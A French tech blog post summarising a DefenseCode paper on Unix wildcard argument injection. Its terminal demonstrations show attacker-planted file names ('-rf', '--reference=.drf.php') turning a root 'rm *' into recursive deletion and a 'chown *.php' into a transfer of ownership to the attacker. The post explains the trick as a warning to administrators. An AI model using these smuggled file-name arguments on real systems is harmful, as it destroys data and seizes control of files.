Aller au contenu
Korben, roi d’internet, logo bébé avec des lunettes en mode thug life

Unix – L’étoile de la mort

Des chercheurs en sécurité de DefenseCode viennent de publier un papier très intéressant pour qui s’intéresse un peu au hacking et au système Unix (Linux, OSX…etc.). Dans ce document, Leon de DefenseCode passe en revue quelques techniques fourbes qui exploitent le symbole ‘*’ (wildcards) combiné à certaines commandes, pour injecter des arguments dans les commandes shells.

Par exemple, si un vilain pirate dépose sur votre serveur un fichier qu’il nomme « -rf' », celui-ci peut être passé en argument à la commande « rm » provoquant pas mal de dégâts. Démonstration :

[root@defensecode public]# ls -al
total 20
drwxrwxr-x.  5 leon   leon   4096 Oct 28 17:04 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR1
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR2
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:04 DIR3
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file1.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file2.txt
-rw-rw-r--.  1 leon   leon      0 Oct 28 17:03 file3.txt
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

On voit là un répertoire avec quelques sous-répertoires et fichiers. Le fichier -rf appartient à l’utilisateur nobody. Imaginons maintenant que l’utilisateur root lance maintenant la commande « rm * »

[root@defensecode public]# rm *
[root@defensecode public]# ls -al
total 8
drwxrwxr-x.  2 leon   leon   4096 Oct 28 17:05 .
drwx------. 22 leon   leon   4096 Oct 28 16:15 ..
-rw-rw-r--.  1 nobody nobody    0 Oct 28 16:38 -rf

Tout le répertoire a été vidé, y compris les sous-répertoires. En réalité, la commande rm couplée à l’étoile passe en revue chaque fichier et sous répertoire comme ceci :

[user@defensecode WILD]$ rm DIR1 DIR2 DIR3 file1.txt file2.txt file3.txt -rf

Vous l’aurez compris, le fichier -rf est alors pris comme un argument, provoquant la suppression des répertoires sans aucun avertissement.

Autre exemple, avec un changement de droits fait à l’insue de l’utilisateur root… Pour cela, l’attaquant a déposé un fichier « .drf.php » et un fichier « –reference=.drf.php » sur le serveur.

[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 user user 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 user user 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 user user 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 user user 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 user user 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 user user 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 user user 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 user user 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 user user 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 user user 94 Oct 28 17:35 script.php

Comme vous pouvez le voir, seuls ces 2 fichiers appartiennent à l’attaquant « leon ». Maintenant, imaginons sur l’utilisateur root fasse quelques petits changements de droits sur les fichiers en utilisant la fameuse étoile. Il souhaite les attribuer à l’utilisateur « nobody ».

[root@defensecode public]# chown -R nobody:nobody *.php

Voici le résultat :

[root@defensecode public]# ls -al
total 52
drwxrwxrwx. 2 user user 4096 Oct 28 17:47 .
drwx------. 22 user user 4096 Oct 28 17:34 ..
-rw-rw-r--. 1 leon leon 66 Oct 28 17:36 admin.php
-rw-rw-r--. 1 leon leon 34 Oct 28 17:35 ado.php
-rw-rw-r--. 1 leon leon 80 Oct 28 17:44 config.php
-rw-rw-r--. 1 leon leon 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 leon leon 201 Oct 28 17:35 download.php
-rw-r--r--. 1 leon leon 0 Oct 28 17:40 .drf.php
-rw-rw-r--. 1 leon leon 43 Oct 28 17:35 file1.php
-rw-rw-r--. 1 leon leon 56 Oct 28 17:47 footer.php
-rw-rw-r--. 1 leon leon 357 Oct 28 17:36 global.php
-rw-rw-r--. 1 leon leon 225 Oct 28 17:35 header.php
-rw-rw-r--. 1 leon leon 117 Oct 28 17:35 inc.php
-rw-rw-r--. 1 leon leon 111 Oct 28 17:38 index.php
-rw-rw-r--. 1 leon leon 0 Oct 28 17:45 --reference=.drf.php
-rw-rw----. 1 leon leon 66 Oct 28 17:35 password.inc.php
-rw-rw-r--. 1 leon leon 94 Oct 28 17:35 script.php

Tous les fichiers ont changé de propriétaire… Et ce n’est pas nobody mais leon qui est devenu le proprio de tous les fichiers PHP. Mais quelle est cette sorcellerie ?

Et bien, grâce aux 2 fichiers envoyés, quand la commande chown est passée, elle a pris comme argument « –reference=.drf.php », ce qui veut dire en langage clair : « Utilise le propriétaire du fichier .drf.php comme référence ». Cela surcharge le paramètre nobody:nobody spécifié dans la commande lancée en root et fait de leon le propriétaire de tous les autres fichiers php.

Mortel !

Il s’agit là d’un aperçu pour vous montrer un peu ce principe connu depuis les années 80 et toujours possible. Ce document donne d’autres exemples qui sont tout aussi intéressants.

Maintenant vous savez que c’est possible, alors pensez-y la prochaine fois que vous utiliserez l’étoile dans une de vos commandes.

Source


Les articles du moment